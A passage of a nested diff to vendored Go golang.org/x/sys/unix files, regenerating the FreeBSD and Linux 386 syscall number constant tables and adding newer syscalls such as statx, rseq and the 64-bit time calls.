-+ SYS_CAP_FCNTLS_GET = 537 // { int cap_fcntls_get(int fd, uint32_t *fcntlrightsp); }
-+ SYS_BINDAT = 538 // { int bindat(int fd, int s, caddr_t name, int namelen); }
-+ SYS_CONNECTAT = 539 // { int connectat(int fd, int s, caddr_t name, int namelen); }
-+ SYS_CHFLAGSAT = 540 // { int chflagsat(int fd, const char *path, u_long flags, int atflag); }
-+ SYS_ACCEPT4 = 541 // { int accept4(int s, struct sockaddr * __restrict name, __socklen_t * __restrict anamelen, int flags); }
-+ SYS_PIPE2 = 542 // { int pipe2(int *fildes, int flags); }
-+ SYS_AIO_MLOCK = 543 // { int aio_mlock(struct aiocb *aiocbp); }
-+ SYS_PROCCTL = 544 // { int procctl(idtype_t idtype, id_t id, int com, void *data); }
-+ SYS_PPOLL = 545 // { int ppoll(struct pollfd *fds, u_int nfds, const struct timespec *ts, const sigset_t *set); }
-+ SYS_FUTIMENS = 546 // { int futimens(int fd, struct timespec *times); }
-+ SYS_UTIMENSAT = 547 // { int utimensat(int fd, char *path, struct timespec *times, int flag); }
-+ SYS_NUMA_GETAFFINITY = 548 // { int numa_getaffinity(cpuwhich_t which, id_t id, struct vm_domain_policy_entry *policy); }
-+ SYS_NUMA_SETAFFINITY = 549 // { int numa_setaffinity(cpuwhich_t which, id_t id, const struct vm_domain_policy_entry *policy); }
-+ SYS_FDATASYNC = 550 // { int fdatasync(int fd); }
-+)
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_386.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_386.go
-index cef4fed0..54559a89 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_linux_386.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_386.go
-@@ -1,4 +1,4 @@
--// linux/mksysnum.pl -Wall -Werror -static -I/tmp/include -m32 /tmp/include/asm/unistd.h
-+// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include -m32 /tmp/include/asm/unistd.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build 386,linux
-@@ -6,383 +6,431 @@
- package unix
-
- const (
-- SYS_RESTART_SYSCALL = 0
-- SYS_EXIT = 1
-- SYS_FORK = 2
-- SYS_READ = 3
-- SYS_WRITE = 4
-- SYS_OPEN = 5
-- SYS_CLOSE = 6
-- SYS_WAITPID = 7
-- SYS_CREAT = 8
-- SYS_LINK = 9
-- SYS_UNLINK = 10
-- SYS_EXECVE = 11
-- SYS_CHDIR = 12
-- SYS_TIME = 13
-- SYS_MKNOD = 14
-- SYS_CHMOD = 15
-- SYS_LCHOWN = 16
-- SYS_BREAK = 17
-- SYS_OLDSTAT = 18
-- SYS_LSEEK = 19
-- SYS_GETPID = 20
-- SYS_MOUNT = 21
-- SYS_UMOUNT = 22
-- SYS_SETUID = 23
-- SYS_GETUID = 24
-- SYS_STIME = 25
-- SYS_PTRACE = 26
-- SYS_ALARM = 27
-- SYS_OLDFSTAT = 28
-- SYS_PAUSE = 29
-- SYS_UTIME = 30
-- SYS_STTY = 31
-- SYS_GTTY = 32
-- SYS_ACCESS = 33
-- SYS_NICE = 34
-- SYS_FTIME = 35
-- SYS_SYNC = 36
-- SYS_KILL = 37
-- SYS_RENAME = 38
-- SYS_MKDIR = 39
-- SYS_RMDIR = 40
-- SYS_DUP = 41
-- SYS_PIPE = 42
-- SYS_TIMES = 43
-- SYS_PROF = 44
-- SYS_BRK = 45
-- SYS_SETGID = 46
-- SYS_GETGID = 47
-- SYS_SIGNAL = 48
-- SYS_GETEUID = 49
-- SYS_GETEGID = 50
-- SYS_ACCT = 51
-- SYS_UMOUNT2 = 52
-- SYS_LOCK = 53
-- SYS_IOCTL = 54
-- SYS_FCNTL = 55
-- SYS_MPX = 56
-- SYS_SETPGID = 57
-- SYS_ULIMIT = 58
-- SYS_OLDOLDUNAME = 59
-- SYS_UMASK = 60
-- SYS_CHROOT = 61
-- SYS_USTAT = 62
-- SYS_DUP2 = 63
-- SYS_GETPPID = 64
-- SYS_GETPGRP = 65
-- SYS_SETSID = 66
-- SYS_SIGACTION = 67
-- SYS_SGETMASK = 68
-- SYS_SSETMASK = 69
-- SYS_SETREUID = 70
-- SYS_SETREGID = 71
-- SYS_SIGSUSPEND = 72
-- SYS_SIGPENDING = 73
-- SYS_SETHOSTNAME = 74
-- SYS_SETRLIMIT = 75
-- SYS_GETRLIMIT = 76
-- SYS_GETRUSAGE = 77
-- SYS_GETTIMEOFDAY = 78
-- SYS_SETTIMEOFDAY = 79
-- SYS_GETGROUPS = 80
-- SYS_SETGROUPS = 81
-- SYS_SELECT = 82
-- SYS_SYMLINK = 83
-- SYS_OLDLSTAT = 84
-- SYS_READLINK = 85
-- SYS_USELIB = 86
-- SYS_SWAPON = 87
-- SYS_REBOOT = 88
-- SYS_READDIR = 89
-- SYS_MMAP = 90
-- SYS_MUNMAP = 91
-- SYS_TRUNCATE = 92
-- SYS_FTRUNCATE = 93
-- SYS_FCHMOD = 94
-- SYS_FCHOWN = 95
-- SYS_GETPRIORITY = 96
-- SYS_SETPRIORITY = 97
-- SYS_PROFIL = 98
-- SYS_STATFS = 99
-- SYS_FSTATFS = 100
-- SYS_IOPERM = 101
-- SYS_SOCKETCALL = 102
-- SYS_SYSLOG = 103
-- SYS_SETITIMER = 104
-- SYS_GETITIMER = 105
-- SYS_STAT = 106
-- SYS_LSTAT = 107
-- SYS_FSTAT = 108
-- SYS_OLDUNAME = 109
-- SYS_IOPL = 110
-- SYS_VHANGUP = 111
-- SYS_IDLE = 112
-- SYS_VM86OLD = 113
-- SYS_WAIT4 = 114
-- SYS_SWAPOFF = 115
-- SYS_SYSINFO = 116
-- SYS_IPC = 117
-- SYS_FSYNC = 118
-- SYS_SIGRETURN = 119
-- SYS_CLONE = 120
-- SYS_SETDOMAINNAME = 121
-- SYS_UNAME = 122
-- SYS_MODIFY_LDT = 123
-- SYS_ADJTIMEX = 124
-- SYS_MPROTECT = 125
-- SYS_SIGPROCMASK = 126
-- SYS_CREATE_MODULE = 127
-- SYS_INIT_MODULE = 128
-- SYS_DELETE_MODULE = 129
-- SYS_GET_KERNEL_SYMS = 130
-- SYS_QUOTACTL = 131
-- SYS_GETPGID = 132
-- SYS_FCHDIR = 133
-- SYS_BDFLUSH = 134
-- SYS_SYSFS = 135
-- SYS_PERSONALITY = 136
-- SYS_AFS_SYSCALL = 137
-- SYS_SETFSUID = 138
-- SYS_SETFSGID = 139
-- SYS__LLSEEK = 140
-- SYS_GETDENTS = 141
-- SYS__NEWSELECT = 142
-- SYS_FLOCK = 143
-- SYS_MSYNC = 144
-- SYS_READV = 145
-- SYS_WRITEV = 146
-- SYS_GETSID = 147
-- SYS_FDATASYNC = 148
-- SYS__SYSCTL = 149
-- SYS_MLOCK = 150
-- SYS_MUNLOCK = 151
-- SYS_MLOCKALL = 152
-- SYS_MUNLOCKALL = 153
-- SYS_SCHED_SETPARAM = 154
-- SYS_SCHED_GETPARAM = 155
-- SYS_SCHED_SETSCHEDULER = 156
-- SYS_SCHED_GETSCHEDULER = 157
-- SYS_SCHED_YIELD = 158
-- SYS_SCHED_GET_PRIORITY_MAX = 159
-- SYS_SCHED_GET_PRIORITY_MIN = 160
-- SYS_SCHED_RR_GET_INTERVAL = 161
-- SYS_NANOSLEEP = 162
-- SYS_MREMAP = 163
-- SYS_SETRESUID = 164
-- SYS_GETRESUID = 165
-- SYS_VM86 = 166
-- SYS_QUERY_MODULE = 167
-- SYS_POLL = 168
-- SYS_NFSSERVCTL = 169
-- SYS_SETRESGID = 170
-- SYS_GETRESGID = 171
-- SYS_PRCTL = 172
-- SYS_RT_SIGRETURN = 173
-- SYS_RT_SIGACTION = 174
-- SYS_RT_SIGPROCMASK = 175
-- SYS_RT_SIGPENDING = 176
-- SYS_RT_SIGTIMEDWAIT = 177
-- SYS_RT_SIGQUEUEINFO = 178
-- SYS_RT_SIGSUSPEND = 179
-- SYS_PREAD64 = 180
-- SYS_PWRITE64 = 181
-- SYS_CHOWN = 182
-- SYS_GETCWD = 183
-- SYS_CAPGET = 184
-- SYS_CAPSET = 185
-- SYS_SIGALTSTACK = 186
-- SYS_SENDFILE = 187
-- SYS_GETPMSG = 188
-- SYS_PUTPMSG = 189
-- SYS_VFORK = 190
-- SYS_UGETRLIMIT = 191
-- SYS_MMAP2 = 192
-- SYS_TRUNCATE64 = 193
-- SYS_FTRUNCATE64 = 194
-- SYS_STAT64 = 195
-- SYS_LSTAT64 = 196
-- SYS_FSTAT64 = 197
-- SYS_LCHOWN32 = 198
-- SYS_GETUID32 = 199
-- SYS_GETGID32 = 200
-- SYS_GETEUID32 = 201
-- SYS_GETEGID32 = 202
-- SYS_SETREUID32 = 203
-- SYS_SETREGID32 = 204
-- SYS_GETGROUPS32 = 205
-- SYS_SETGROUPS32 = 206
-- SYS_FCHOWN32 = 207
-- SYS_SETRESUID32 = 208
-- SYS_GETRESUID32 = 209
-- SYS_SETRESGID32 = 210
-- SYS_GETRESGID32 = 211
-- SYS_CHOWN32 = 212
-- SYS_SETUID32 = 213
-- SYS_SETGID32 = 214
-- SYS_SETFSUID32 = 215
-- SYS_SETFSGID32 = 216
-- SYS_PIVOT_ROOT = 217
-- SYS_MINCORE = 218
-- SYS_MADVISE = 219
-- SYS_GETDENTS64 = 220
-- SYS_FCNTL64 = 221
-- SYS_GETTID = 224
-- SYS_READAHEAD = 225
-- SYS_SETXATTR = 226
-- SYS_LSETXATTR = 227
-- SYS_FSETXATTR = 228
-- SYS_GETXATTR = 229
-- SYS_LGETXATTR = 230
-- SYS_FGETXATTR = 231
-- SYS_LISTXATTR = 232
-- SYS_LLISTXATTR = 233
-- SYS_FLISTXATTR = 234
-- SYS_REMOVEXATTR = 235
-- SYS_LREMOVEXATTR = 236
-- SYS_FREMOVEXATTR = 237
-- SYS_TKILL = 238
-- SYS_SENDFILE64 = 239
-- SYS_FUTEX = 240
-- SYS_SCHED_SETAFFINITY = 241
-- SYS_SCHED_GETAFFINITY = 242
-- SYS_SET_THREAD_AREA = 243
-- SYS_GET_THREAD_AREA = 244
-- SYS_IO_SETUP = 245
-- SYS_IO_DESTROY = 246
-- SYS_IO_GETEVENTS = 247
-- SYS_IO_SUBMIT = 248
-- SYS_IO_CANCEL = 249
-- SYS_FADVISE64 = 250
-- SYS_EXIT_GROUP = 252
-- SYS_LOOKUP_DCOOKIE = 253
-- SYS_EPOLL_CREATE = 254
-- SYS_EPOLL_CTL = 255
-- SYS_EPOLL_WAIT = 256
-- SYS_REMAP_FILE_PAGES = 257
-- SYS_SET_TID_ADDRESS = 258
-- SYS_TIMER_CREATE = 259
-- SYS_TIMER_SETTIME = 260
-- SYS_TIMER_GETTIME = 261
-- SYS_TIMER_GETOVERRUN = 262
-- SYS_TIMER_DELETE = 263
-- SYS_CLOCK_SETTIME = 264
-- SYS_CLOCK_GETTIME = 265
-- SYS_CLOCK_GETRES = 266
-- SYS_CLOCK_NANOSLEEP = 267
-- SYS_STATFS64 = 268
-- SYS_FSTATFS64 = 269
-- SYS_TGKILL = 270
-- SYS_UTIMES = 271
-- SYS_FADVISE64_64 = 272
-- SYS_VSERVER = 273
-- SYS_MBIND = 274
-- SYS_GET_MEMPOLICY = 275
-- SYS_SET_MEMPOLICY = 276
-- SYS_MQ_OPEN = 277
-- SYS_MQ_UNLINK = 278
-- SYS_MQ_TIMEDSEND = 279
-- SYS_MQ_TIMEDRECEIVE = 280
-- SYS_MQ_NOTIFY = 281
-- SYS_MQ_GETSETATTR = 282
-- SYS_KEXEC_LOAD = 283
-- SYS_WAITID = 284
-- SYS_ADD_KEY = 286
-- SYS_REQUEST_KEY = 287
-- SYS_KEYCTL = 288
-- SYS_IOPRIO_SET = 289
-- SYS_IOPRIO_GET = 290
-- SYS_INOTIFY_INIT = 291
-- SYS_INOTIFY_ADD_WATCH = 292
-- SYS_INOTIFY_RM_WATCH = 293
-- SYS_MIGRATE_PAGES = 294
-- SYS_OPENAT = 295
-- SYS_MKDIRAT = 296
-- SYS_MKNODAT = 297
-- SYS_FCHOWNAT = 298
-- SYS_FUTIMESAT = 299
-- SYS_FSTATAT64 = 300
-- SYS_UNLINKAT = 301
-- SYS_RENAMEAT = 302
-- SYS_LINKAT = 303
-- SYS_SYMLINKAT = 304
-- SYS_READLINKAT = 305
-- SYS_FCHMODAT = 306
-- SYS_FACCESSAT = 307
-- SYS_PSELECT6 = 308
-- SYS_PPOLL = 309
-- SYS_UNSHARE = 310
-- SYS_SET_ROBUST_LIST = 311
-- SYS_GET_ROBUST_LIST = 312
-- SYS_SPLICE = 313
-- SYS_SYNC_FILE_RANGE = 314
-- SYS_TEE = 315
-- SYS_VMSPLICE = 316
-- SYS_MOVE_PAGES = 317
-- SYS_GETCPU = 318
-- SYS_EPOLL_PWAIT = 319
-- SYS_UTIMENSAT = 320
-- SYS_SIGNALFD = 321
-- SYS_TIMERFD_CREATE = 322
-- SYS_EVENTFD = 323
-- SYS_FALLOCATE = 324
-- SYS_TIMERFD_SETTIME = 325
-- SYS_TIMERFD_GETTIME = 326
-- SYS_SIGNALFD4 = 327
-- SYS_EVENTFD2 = 328
-- SYS_EPOLL_CREATE1 = 329
-- SYS_DUP3 = 330
-- SYS_PIPE2 = 331
-- SYS_INOTIFY_INIT1 = 332
-- SYS_PREADV = 333
-- SYS_PWRITEV = 334
-- SYS_RT_TGSIGQUEUEINFO = 335
-- SYS_PERF_EVENT_OPEN = 336
-- SYS_RECVMMSG = 337
-- SYS_FANOTIFY_INIT = 338
-- SYS_FANOTIFY_MARK = 339
-- SYS_PRLIMIT64 = 340
-- SYS_NAME_TO_HANDLE_AT = 341
-- SYS_OPEN_BY_HANDLE_AT = 342
-- SYS_CLOCK_ADJTIME = 343
-- SYS_SYNCFS = 344
-- SYS_SENDMMSG = 345
-- SYS_SETNS = 346
-- SYS_PROCESS_VM_READV = 347
-- SYS_PROCESS_VM_WRITEV = 348
-- SYS_KCMP = 349
-- SYS_FINIT_MODULE = 350
-- SYS_SCHED_SETATTR = 351
-- SYS_SCHED_GETATTR = 352
-- SYS_RENAMEAT2 = 353
-- SYS_SECCOMP = 354
-- SYS_GETRANDOM = 355
-- SYS_MEMFD_CREATE = 356
-- SYS_BPF = 357
-- SYS_EXECVEAT = 358
-- SYS_SOCKET = 359
-- SYS_SOCKETPAIR = 360
-- SYS_BIND = 361
-- SYS_CONNECT = 362
-- SYS_LISTEN = 363
-- SYS_ACCEPT4 = 364
-- SYS_GETSOCKOPT = 365
-- SYS_SETSOCKOPT = 366
-- SYS_GETSOCKNAME = 367
-- SYS_GETPEERNAME = 368
-- SYS_SENDTO = 369
-- SYS_SENDMSG = 370
-- SYS_RECVFROM = 371
-- SYS_RECVMSG = 372
-- SYS_SHUTDOWN = 373
-- SYS_USERFAULTFD = 374
-- SYS_MEMBARRIER = 375
-- SYS_MLOCK2 = 376
-- SYS_COPY_FILE_RANGE = 377
-- SYS_PREADV2 = 378
-- SYS_PWRITEV2 = 379
-- SYS_PKEY_MPROTECT = 380
-- SYS_PKEY_ALLOC = 381
-- SYS_PKEY_FREE = 382
-+ SYS_RESTART_SYSCALL = 0
-+ SYS_EXIT = 1
-+ SYS_FORK = 2
-+ SYS_READ = 3
-+ SYS_WRITE = 4
-+ SYS_OPEN = 5
-+ SYS_CLOSE = 6
-+ SYS_WAITPID = 7
-+ SYS_CREAT = 8
-+ SYS_LINK = 9
-+ SYS_UNLINK = 10
-+ SYS_EXECVE = 11
-+ SYS_CHDIR = 12
-+ SYS_TIME = 13
-+ SYS_MKNOD = 14
-+ SYS_CHMOD = 15
-+ SYS_LCHOWN = 16
-+ SYS_BREAK = 17
-+ SYS_OLDSTAT = 18
-+ SYS_LSEEK = 19
-+ SYS_GETPID = 20
-+ SYS_MOUNT = 21
-+ SYS_UMOUNT = 22
-+ SYS_SETUID = 23
-+ SYS_GETUID = 24
-+ SYS_STIME = 25
-+ SYS_PTRACE = 26
-+ SYS_ALARM = 27
-+ SYS_OLDFSTAT = 28
-+ SYS_PAUSE = 29
-+ SYS_UTIME = 30
-+ SYS_STTY = 31
-+ SYS_GTTY = 32
-+ SYS_ACCESS = 33
-+ SYS_NICE = 34
-+ SYS_FTIME = 35
-+ SYS_SYNC = 36
-+ SYS_KILL = 37
-+ SYS_RENAME = 38
-+ SYS_MKDIR = 39
-+ SYS_RMDIR = 40
-+ SYS_DUP = 41
-+ SYS_PIPE = 42
-+ SYS_TIMES = 43
-+ SYS_PROF = 44
-+ SYS_BRK = 45
-+ SYS_SETGID = 46
-+ SYS_GETGID = 47
-+ SYS_SIGNAL = 48
-+ SYS_GETEUID = 49
-+ SYS_GETEGID = 50
-+ SYS_ACCT = 51
-+ SYS_UMOUNT2 = 52
-+ SYS_LOCK = 53
-+ SYS_IOCTL = 54
-+ SYS_FCNTL = 55
-+ SYS_MPX = 56
-+ SYS_SETPGID = 57
-+ SYS_ULIMIT = 58
-+ SYS_OLDOLDUNAME = 59
-+ SYS_UMASK = 60
-+ SYS_CHROOT = 61
-+ SYS_USTAT = 62
-+ SYS_DUP2 = 63
-+ SYS_GETPPID = 64
-+ SYS_GETPGRP = 65
-+ SYS_SETSID = 66
-+ SYS_SIGACTION = 67
-+ SYS_SGETMASK = 68
-+ SYS_SSETMASK = 69
-+ SYS_SETREUID = 70
-+ SYS_SETREGID = 71
-+ SYS_SIGSUSPEND = 72
-+ SYS_SIGPENDING = 73
-+ SYS_SETHOSTNAME = 74
-+ SYS_SETRLIMIT = 75
-+ SYS_GETRLIMIT = 76
-+ SYS_GETRUSAGE = 77
-+ SYS_GETTIMEOFDAY = 78
-+ SYS_SETTIMEOFDAY = 79
-+ SYS_GETGROUPS = 80
-+ SYS_SETGROUPS = 81
-+ SYS_SELECT = 82
-+ SYS_SYMLINK = 83
-+ SYS_OLDLSTAT = 84
-+ SYS_READLINK = 85
-+ SYS_USELIB = 86
-+ SYS_SWAPON = 87
-+ SYS_REBOOT = 88
-+ SYS_READDIR = 89
-+ SYS_MMAP = 90
-+ SYS_MUNMAP = 91
-+ SYS_TRUNCATE = 92
-+ SYS_FTRUNCATE = 93
-+ SYS_FCHMOD = 94
-+ SYS_FCHOWN = 95
-+ SYS_GETPRIORITY = 96
-+ SYS_SETPRIORITY = 97
-+ SYS_PROFIL = 98
-+ SYS_STATFS = 99
-+ SYS_FSTATFS = 100
-+ SYS_IOPERM = 101
-+ SYS_SOCKETCALL = 102
-+ SYS_SYSLOG = 103
-+ SYS_SETITIMER = 104
-+ SYS_GETITIMER = 105
-+ SYS_STAT = 106
-+ SYS_LSTAT = 107
-+ SYS_FSTAT = 108
-+ SYS_OLDUNAME = 109
-+ SYS_IOPL = 110
-+ SYS_VHANGUP = 111
-+ SYS_IDLE = 112
-+ SYS_VM86OLD = 113
-+ SYS_WAIT4 = 114
-+ SYS_SWAPOFF = 115
-+ SYS_SYSINFO = 116
-+ SYS_IPC = 117
-+ SYS_FSYNC = 118
-+ SYS_SIGRETURN = 119
-+ SYS_CLONE = 120
-+ SYS_SETDOMAINNAME = 121
-+ SYS_UNAME = 122
-+ SYS_MODIFY_LDT = 123
-+ SYS_ADJTIMEX = 124
-+ SYS_MPROTECT = 125
-+ SYS_SIGPROCMASK = 126
-+ SYS_CREATE_MODULE = 127
-+ SYS_INIT_MODULE = 128
-+ SYS_DELETE_MODULE = 129
-+ SYS_GET_KERNEL_SYMS = 130
-+ SYS_QUOTACTL = 131
-+ SYS_GETPGID = 132
-+ SYS_FCHDIR = 133
-+ SYS_BDFLUSH = 134
-+ SYS_SYSFS = 135
-+ SYS_PERSONALITY = 136
-+ SYS_AFS_SYSCALL = 137
-+ SYS_SETFSUID = 138
-+ SYS_SETFSGID = 139
-+ SYS__LLSEEK = 140
-+ SYS_GETDENTS = 141
-+ SYS__NEWSELECT = 142
-+ SYS_FLOCK = 143
-+ SYS_MSYNC = 144
-+ SYS_READV = 145
-+ SYS_WRITEV = 146
-+ SYS_GETSID = 147
-+ SYS_FDATASYNC = 148
-+ SYS__SYSCTL = 149
-+ SYS_MLOCK = 150
-+ SYS_MUNLOCK = 151
-+ SYS_MLOCKALL = 152
-+ SYS_MUNLOCKALL = 153
-+ SYS_SCHED_SETPARAM = 154
-+ SYS_SCHED_GETPARAM = 155
-+ SYS_SCHED_SETSCHEDULER = 156
-+ SYS_SCHED_GETSCHEDULER = 157
-+ SYS_SCHED_YIELD = 158
-+ SYS_SCHED_GET_PRIORITY_MAX = 159
-+ SYS_SCHED_GET_PRIORITY_MIN = 160
-+ SYS_SCHED_RR_GET_INTERVAL = 161
-+ SYS_NANOSLEEP = 162
-+ SYS_MREMAP = 163
-+ SYS_SETRESUID = 164
-+ SYS_GETRESUID = 165
-+ SYS_VM86 = 166
-+ SYS_QUERY_MODULE = 167
-+ SYS_POLL = 168
-+ SYS_NFSSERVCTL = 169
-+ SYS_SETRESGID = 170
-+ SYS_GETRESGID = 171
-+ SYS_PRCTL = 172
-+ SYS_RT_SIGRETURN = 173
-+ SYS_RT_SIGACTION = 174
-+ SYS_RT_SIGPROCMASK = 175
-+ SYS_RT_SIGPENDING = 176
-+ SYS_RT_SIGTIMEDWAIT = 177
-+ SYS_RT_SIGQUEUEINFO = 178
-+ SYS_RT_SIGSUSPEND = 179
-+ SYS_PREAD64 = 180
-+ SYS_PWRITE64 = 181
-+ SYS_CHOWN = 182
-+ SYS_GETCWD = 183
-+ SYS_CAPGET = 184
-+ SYS_CAPSET = 185
-+ SYS_SIGALTSTACK = 186
-+ SYS_SENDFILE = 187
-+ SYS_GETPMSG = 188
-+ SYS_PUTPMSG = 189
-+ SYS_VFORK = 190
-+ SYS_UGETRLIMIT = 191
-+ SYS_MMAP2 = 192
-+ SYS_TRUNCATE64 = 193
-+ SYS_FTRUNCATE64 = 194
-+ SYS_STAT64 = 195
-+ SYS_LSTAT64 = 196
-+ SYS_FSTAT64 = 197
-+ SYS_LCHOWN32 = 198
-+ SYS_GETUID32 = 199
-+ SYS_GETGID32 = 200
-+ SYS_GETEUID32 = 201
-+ SYS_GETEGID32 = 202
-+ SYS_SETREUID32 = 203
-+ SYS_SETREGID32 = 204
-+ SYS_GETGROUPS32 = 205
-+ SYS_SETGROUPS32 = 206
-+ SYS_FCHOWN32 = 207
-+ SYS_SETRESUID32 = 208
-+ SYS_GETRESUID32 = 209
-+ SYS_SETRESGID32 = 210
-+ SYS_GETRESGID32 = 211
-+ SYS_CHOWN32 = 212
-+ SYS_SETUID32 = 213
-+ SYS_SETGID32 = 214
-+ SYS_SETFSUID32 = 215
-+ SYS_SETFSGID32 = 216
-+ SYS_PIVOT_ROOT = 217
-+ SYS_MINCORE = 218
-+ SYS_MADVISE = 219
-+ SYS_GETDENTS64 = 220
-+ SYS_FCNTL64 = 221
-+ SYS_GETTID = 224
-+ SYS_READAHEAD = 225
-+ SYS_SETXATTR = 226
-+ SYS_LSETXATTR = 227
-+ SYS_FSETXATTR = 228
-+ SYS_GETXATTR = 229
-+ SYS_LGETXATTR = 230
-+ SYS_FGETXATTR = 231
-+ SYS_LISTXATTR = 232
-+ SYS_LLISTXATTR = 233
-+ SYS_FLISTXATTR = 234
-+ SYS_REMOVEXATTR = 235
-+ SYS_LREMOVEXATTR = 236
-+ SYS_FREMOVEXATTR = 237
-+ SYS_TKILL = 238
-+ SYS_SENDFILE64 = 239
-+ SYS_FUTEX = 240
-+ SYS_SCHED_SETAFFINITY = 241
-+ SYS_SCHED_GETAFFINITY = 242
-+ SYS_SET_THREAD_AREA = 243
-+ SYS_GET_THREAD_AREA = 244
-+ SYS_IO_SETUP = 245
-+ SYS_IO_DESTROY = 246
-+ SYS_IO_GETEVENTS = 247
-+ SYS_IO_SUBMIT = 248
-+ SYS_IO_CANCEL = 249
-+ SYS_FADVISE64 = 250
-+ SYS_EXIT_GROUP = 252
-+ SYS_LOOKUP_DCOOKIE = 253
-+ SYS_EPOLL_CREATE = 254
-+ SYS_EPOLL_CTL = 255
-+ SYS_EPOLL_WAIT = 256
-+ SYS_REMAP_FILE_PAGES = 257
-+ SYS_SET_TID_ADDRESS = 258
-+ SYS_TIMER_CREATE = 259
-+ SYS_TIMER_SETTIME = 260
-+ SYS_TIMER_GETTIME = 261
-+ SYS_TIMER_GETOVERRUN = 262
-+ SYS_TIMER_DELETE = 263
-+ SYS_CLOCK_SETTIME = 264
-+ SYS_CLOCK_GETTIME = 265
-+ SYS_CLOCK_GETRES = 266
-+ SYS_CLOCK_NANOSLEEP = 267
-+ SYS_STATFS64 = 268
-+ SYS_FSTATFS64 = 269
-+ SYS_TGKILL = 270
-+ SYS_UTIMES = 271
-+ SYS_FADVISE64_64 = 272
-+ SYS_VSERVER = 273
-+ SYS_MBIND = 274
-+ SYS_GET_MEMPOLICY = 275
-+ SYS_SET_MEMPOLICY = 276
-+ SYS_MQ_OPEN = 277
-+ SYS_MQ_UNLINK = 278
-+ SYS_MQ_TIMEDSEND = 279
-+ SYS_MQ_TIMEDRECEIVE = 280
-+ SYS_MQ_NOTIFY = 281
-+ SYS_MQ_GETSETATTR = 282
-+ SYS_KEXEC_LOAD = 283
-+ SYS_WAITID = 284
-+ SYS_ADD_KEY = 286
-+ SYS_REQUEST_KEY = 287
-+ SYS_KEYCTL = 288
-+ SYS_IOPRIO_SET = 289
-+ SYS_IOPRIO_GET = 290
-+ SYS_INOTIFY_INIT = 291
-+ SYS_INOTIFY_ADD_WATCH = 292
-+ SYS_INOTIFY_RM_WATCH = 293
-+ SYS_MIGRATE_PAGES = 294
-+ SYS_OPENAT = 295
-+ SYS_MKDIRAT = 296
-+ SYS_MKNODAT = 297
-+ SYS_FCHOWNAT = 298
-+ SYS_FUTIMESAT = 299
-+ SYS_FSTATAT64 = 300
-+ SYS_UNLINKAT = 301
-+ SYS_RENAMEAT = 302
-+ SYS_LINKAT = 303
-+ SYS_SYMLINKAT = 304
-+ SYS_READLINKAT = 305
-+ SYS_FCHMODAT = 306
-+ SYS_FACCESSAT = 307
-+ SYS_PSELECT6 = 308
-+ SYS_PPOLL = 309
-+ SYS_UNSHARE = 310
-+ SYS_SET_ROBUST_LIST = 311
-+ SYS_GET_ROBUST_LIST = 312
-+ SYS_SPLICE = 313
-+ SYS_SYNC_FILE_RANGE = 314
-+ SYS_TEE = 315
-+ SYS_VMSPLICE = 316
-+ SYS_MOVE_PAGES = 317
-+ SYS_GETCPU = 318
-+ SYS_EPOLL_PWAIT = 319
-+ SYS_UTIMENSAT = 320
-+ SYS_SIGNALFD = 321
-+ SYS_TIMERFD_CREATE = 322
-+ SYS_EVENTFD = 323
-+ SYS_FALLOCATE = 324
-+ SYS_TIMERFD_SETTIME = 325
-+ SYS_TIMERFD_GETTIME = 326
-+ SYS_SIGNALFD4 = 327
-+ SYS_EVENTFD2 = 328
-+ SYS_EPOLL_CREATE1 = 329
-+ SYS_DUP3 = 330
-+ SYS_PIPE2 = 331
-+ SYS_INOTIFY_INIT1 = 332
-+ SYS_PREADV = 333
-+ SYS_PWRITEV = 334
-+ SYS_RT_TGSIGQUEUEINFO = 335
-+ SYS_PERF_EVENT_OPEN = 336
-+ SYS_RECVMMSG = 337
-+ SYS_FANOTIFY_INIT = 338
-+ SYS_FANOTIFY_MARK = 339
-+ SYS_PRLIMIT64 = 340
-+ SYS_NAME_TO_HANDLE_AT = 341
-+ SYS_OPEN_BY_HANDLE_AT = 342
-+ SYS_CLOCK_ADJTIME = 343
-+ SYS_SYNCFS = 344
-+ SYS_SENDMMSG = 345
-+ SYS_SETNS = 346
-+ SYS_PROCESS_VM_READV = 347
-+ SYS_PROCESS_VM_WRITEV = 348
-+ SYS_KCMP = 349
-+ SYS_FINIT_MODULE = 350
-+ SYS_SCHED_SETATTR = 351
-+ SYS_SCHED_GETATTR = 352
-+ SYS_RENAMEAT2 = 353
-+ SYS_SECCOMP = 354
-+ SYS_GETRANDOM = 355
-+ SYS_MEMFD_CREATE = 356
-+ SYS_BPF = 357
-+ SYS_EXECVEAT = 358
-+ SYS_SOCKET = 359
-+ SYS_SOCKETPAIR = 360
-+ SYS_BIND = 361
-+ SYS_CONNECT = 362
-+ SYS_LISTEN = 363
-+ SYS_ACCEPT4 = 364
-+ SYS_GETSOCKOPT = 365
-+ SYS_SETSOCKOPT = 366
-+ SYS_GETSOCKNAME = 367
-+ SYS_GETPEERNAME = 368
-+ SYS_SENDTO = 369
-+ SYS_SENDMSG = 370
-+ SYS_RECVFROM = 371
-+ SYS_RECVMSG = 372
-+ SYS_SHUTDOWN = 373
-+ SYS_USERFAULTFD = 374
-+ SYS_MEMBARRIER = 375
-+ SYS_MLOCK2 = 376
-+ SYS_COPY_FILE_RANGE = 377
-+ SYS_PREADV2 = 378
-+ SYS_PWRITEV2 = 379
-+ SYS_PKEY_MPROTECT = 380
-+ SYS_PKEY_ALLOC = 381
-+ SYS_PKEY_FREE = 382
-+ SYS_STATX = 383
-+ SYS_ARCH_PRCTL = 384
-+ SYS_IO_PGETEVENTS = 385
-+ SYS_RSEQ = 386
-+ SYS_SEMGET = 393
-+ SYS_SEMCTL = 394
-+ SYS_SHMGET = 395
-+ SYS_SHMCTL = 396
-+ SYS_SHMAT = 397
-+ SYS_SHMDT = 398
-+ SYS_MSGGET = 399
-+ SYS_MSGSND = 400
-+ SYS_MSGRCV = 401
-+ SYS_MSGCTL = 402
-+ SYS_CLOCK_GETTIME64 = 403
-+ SYS_CLOCK_SETTIME64 = 404
-+ SYS_CLOCK_ADJTIME64 = 405
-+ SYS_CLOCK_GETRES_TIME64 = 406
-+ SYS_CLOCK_NANOSLEEP_TIME64 = 407
-+ SYS_TIMER_GETTIME64 = 408
-+ SYS_TIMER_SETTIME64 = 409
-+ SYS_TIMERFD_GETTIME64 = 410
